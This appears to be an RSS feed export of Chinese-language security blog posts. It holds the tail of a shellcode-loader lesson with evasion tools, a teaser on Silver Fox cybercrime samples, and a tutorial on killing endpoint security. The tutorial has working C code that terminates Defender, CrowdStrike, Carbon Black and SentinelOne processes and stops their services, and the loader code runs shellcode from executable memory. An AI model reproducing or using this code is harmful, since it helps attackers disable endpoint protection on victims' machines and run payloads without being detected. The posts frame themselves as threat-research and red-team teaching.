194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);</span><span leaf=""><br/></span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">(memory, shellcode, size);</span><span leaf=""><br/></span><span leaf="">    CreateThread(</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, (LPTHREAD_START_ROUTINE)memory, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.5 实战工具</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">donut</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">GitHub: <a href="https://github.com/TheWover/donut" target="_blank">https://github.com/TheWover/donut</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">将PE、DLL、.NET程序集转换为Shellcode</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">sgn</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">GitHub: <a href="https://github.com/EgeBalci/sgn" target="_blank">https://github.com/EgeBalci/sgn</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">Shellcode编码器</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">SigFlip</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">GitHub: <a href="https://github.com/med0x2e/SigFlip" target="_blank">https://github.com/med0x2e/SigFlip</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">将Shellcode嵌入签名文件</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.6 实战案例分析</span></span></h3><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="94"></mp-pay-preview-filter></p></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=eac13620&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496651%26idx%3D1%26sn%3D40e405d0398464f001570faf27a84030">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 15 Apr 2026 08:34:00 +0800</pubDate>
    </item>
    <item>
      <title>银狐名单类最新攻击样本分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496650&amp;idx=1&amp;sn=8c41fcd3aebad10eae54494e97188e16</link>
      <description>银狐名单类最新攻击样本分析</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-04-13 08:30</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f02c0524&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FM5H82XuSHY78sry1Dqv40P90iaBULbuG0cPvxFwuxdoFZ0OcUn4YT8kHyU6IdIOddPXtslb1TJtkgK75iahiagKh5v8fRaCFia28DWZ9dM2ib5qw%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>银狐名单类最新攻击样本分析</p>
  <div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);"><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;background-image: linear-gradient(to right, rgb(60, 191, 255) 0%, rgb(72, 118, 255) 50%, rgb(153, 53, 255) 100%);padding: 20px 0px 15px;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 0px;align-self: flex-start;box-sizing: border-box;"><div style="text-align: right;transform: translate3d(1px, 0px, 0px);-webkit-transform: translate3d(1px, 0px, 0px);-moz-transform: translate3d(1px, 0px, 0px);-o-transform: translate3d(1px, 0px, 0px);margin: 0px 0%;box-sizing: border-box;"><div style="font-size: 32px;color: rgb(255, 79, 79);text-align: center;line-height: 1;letter-spacing: 4px;padding: 0px 30px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span style="color: transparent;background-image: radial-gradient(circle at 10% 90%, rgb(255, 238, 103) 0%, rgb(255, 239, 103) 10%, rgb(255, 255, 255) 10%, rgb(255, 255, 255) 50%, rgba(255, 255, 255, 0.2) 100%);background-clip: text;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">安全分析与研究</span></strong></span></p></div></div><div style="color: rgb(255, 247, 245);font-size: 12px;letter-spacing: 9px;padding: 0px;line-height: 1;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">专注于全球恶意软件的分析与研究</span></p></div></div></div></div><div style="margin-top: 10px;margin-bottom: 10px;text-align: left;box-sizing: border-box;"><p style="display: inline-block;box-sizing: border-box;"><span style="display: block;padding: 0.3em 0.5em;border-radius: 0.8em 0.8em 0px 0px;background-color: rgb(249, 110, 87);font-size: 14px;color: rgb(255, 255, 255);box-sizing: border-box;" title=""><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">前言概述</span></p></span></p><div style="border: 1px solid rgb(249, 110, 87);border-radius: 0px 0px 0.8em 0.8em;padding: 10px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">安全分析与研究，专注于全球恶意软件的分析与研究，深度追踪全球黑客组织攻击活动，欢迎大家关注，获取全球最新的黑客组织攻击事件威胁情报。</span></p><p class="mp_profile_iframe_wrp" style="text-align: justify;" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="安全分析与研究" data-alias="MalwareAnalysis" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/oibWJqH5OVmVcFgYKtoVnKR7h3pkl3AyxwS0l7iagicAJnYjEQhwIuZgR3RR65DLpJh2TGZS82DY7CjsBUmiaAl7BQ/0?wx_fmt=png" data-signature="专注于全球恶意软件的分析与研究，追踪全球黑客组织攻击活动与攻击技术" data-id="MzA4ODEyODA3MQ==" data-is_biz_ban="0" data-service_type="1" data-verify_status="1"></mp-common-profile></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">银狐组织是一个专业从事黑灰产的攻击组织，该攻击组织此前主要针对金融、证券、教育及设计行业，该组织不仅通过使用SEO网站优化使得相关钓鱼网站搜索排名领先，然后诱导用户下载安装木马文件，还通过把木马文件伪装成各种常见的应用工具、微信聊天记录或者是与金融相关的新闻热点事件和相关教学视频等，诱骗员工点击安装木马文件，从而为后续入侵企业办公网提供入口。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">整个银狐黑色产业链，包含有专业的恶意软件开发人员，这些恶意软件开发人员主要负责银狐免杀样本的开发、更新和运营，他们每天的任务基本上就是研究各种免杀技术，通过各种混淆加密和免杀加载方式，以逃避安全厂商的检测，这有点类似红队开发人员的工作，然后他们将这些攻击样本上传到一个类似MAAS恶意软件分发平台，再由其他一些黑产组织进行分发传播，并维护银狐黑产组织相关的基础设施，同时他们应该还有专门的诈骗运营团队，银狐工具远程控制这些受害企业之后，诈骗运营团队的工作人员，就需要对这些受害企业进行诈骗攻击，这可能是一种新型的诈骗模式吧。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">最后就是利益分配了，这些与银狐工具相关的黑产组织形成了一个庞大的运转机构，里面分工非常明确，每个团队既相互联系，又相互独立运营，环环相扣，这就是为啥银狐会更新如此频繁，更新速度如此之快的原因，有点类似RAAS模式的勒索病毒运营，不过它比勒索病毒RAAS运营更新要快得多得多，而且最重要的原因是银狐黑产组织非常赚钱。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">最近几年银狐类黑产团伙非常活跃，今年这些黑产团伙会更加活跃，而且仍然会不断地更新自己的攻击样本，采用各种免杀方式，逃避安全厂商的检测，此前大部分银狐黑产团伙使用各种修改版的Gh0st远控作为其攻击武器，远程控制受害者主机之后，进行相关的网络犯罪活动。除了银狐黑产团伙以外，还有一些其他黑产团伙也非常活跃，例如黑猫、GanbRun、暗蚊、金相狐、FaCai、DragonRank、夜枭、金眼狗等黑产团伙，后面有空给大家一一分享这些黑产组织最新的攻击活动。</span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;text-align: justify;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.5312820512820513" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=f565c59c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FM5H82XuSHY6HvbRibxLh2dU5XF7HPJwY0RYIA6V2yw5MoNkFocS5l80hdbqr0g8G8dKkyw1wBLV9YjXgcPaDs5cs3ASj8rlqUgAJJblZOsR4%2F640%3Fwx_fmt%3Dpng"/></p></div><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">笔者从2023年3月份开始深入分析和研究与银狐相关的黑产组织，差不多一年的时间跟踪分析和研究的银狐黑产相关的攻击样本有几百个，其中银狐工具变种高达30个变种，银狐黑产组织相关的基础设施有几千个。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">银狐黑产组织每隔一段时间都会更新自己的攻击样本，最近银狐黑产组织又更新了它的表单类变种样本，该最新的攻击样本通过BitDefender终端安全程序加载恶意模块，然后在内存中解密出银狐核心PayLoad，文末分享该最新攻击样本完整威胁情报。</span></p></div></div></div><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="13"></mp-pay-preview-filter></p></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d7e30f46&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496650%26idx%3D1%26sn%3D8c41fcd3aebad10eae54494e97188e16">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 13 Apr 2026 08:30:00 +0800</pubDate>
    </item>
    <item>
      <title>EDR终止技术——直接对抗的艺术</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496630&amp;idx=1&amp;sn=70706ff6dc3ed5c584a1691ab43df1e0</link>
      <description>一、前言概述EDR终止是最直接的对抗方法，直接停止或禁用EDR进程/服务，本课将深入介绍用户态终止、内核态终止</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-04-07 08:31</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=11a444f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FM5H82XuSHY7uwsianY24BE0LRnCBgjkQhPiaPLtqOe2zMzuLldE8gB1668ml6ibVfQQtRVGQScJIx6A3fXqbbI5GRq2dte1q2Tg56DUBdxtzFk%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、前言概述</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">EDR终止是最直接的对抗方法，直接停止或禁用EDR进程/服务，本课将深入介绍用户态终止、内核态终止和特殊方法。</span></p><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、相关内容</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 EDR终止技术概述</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">技术分类：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">用户态终止</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">内核态终止</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">特殊方法</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 用户态终止</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.1 TerminateProcess</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">使用TerminateProcess API终止EDR进程。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">代码实现：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">KillEDR_UserMode</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">const</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* edrProcesses[] = {</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;MsMpEng.exe&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;CSFalconService.exe&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Cb.exe&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;SentinelAgent.exe&#34;</span></span><span leaf=""><br/></span><span leaf="">    };</span><span leaf=""><br/></span><span leaf="">    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    PROCESSENTRY32 pe32;</span><span leaf=""><br/></span><span leaf="">    pe32.dwSize = </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(PROCESSENTRY32);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (Process32First(hSnapshot, &amp;pe32)) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">do</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(edrProcesses) / </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">*); i++) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(pe32.szExeFile, edrProcesses[i]) == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">                    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (hProcess) {</span><span leaf=""><br/></span><span leaf="">                        TerminateProcess(hProcess, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">                        CloseHandle(hProcess);</span><span leaf=""><br/></span><span leaf="">                    }</span><span leaf=""><br/></span><span leaf="">                }</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">        } </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span leaf=""> (Process32Next(hSnapshot, &amp;pe32));</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    CloseHandle(hSnapshot);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">局限性：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">EDR通常有自保护机制</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">需要管理员权限</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">容易被检测</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.2 服务停止</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">停止EDR服务。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">代码实现：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">StopEDRService</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">const</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* edrServices[] = {</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;WinDefend&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;CSFalconService&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Cb&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;SentinelAgent&#34;</span></span><span leaf=""><br/></span><span leaf="">    };</span><span leaf=""><br/></span><span leaf="">    SC_HANDLE hSCManager = OpenSCManager(</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, SC_MANAGER_CONNECT);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(edrServices) / </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">*); i++) {</span><span leaf=""><br/></span><span leaf="">        SC_HANDLE hService = OpenServiceA(hSCManager, edrServices[i], SERVICE_STOP | SERVICE_QUERY_STATUS);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (hService) {</span><span leaf=""><br/></span><span leaf="">            SERVICE_STATUS status;</span><span leaf=""><br/></span><span leaf="">            ControlService(hService, SERVICE_CONTROL_STOP, &amp;status);</span><span leaf=""><br/></span><span leaf="">            CloseServiceHandle(hService);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    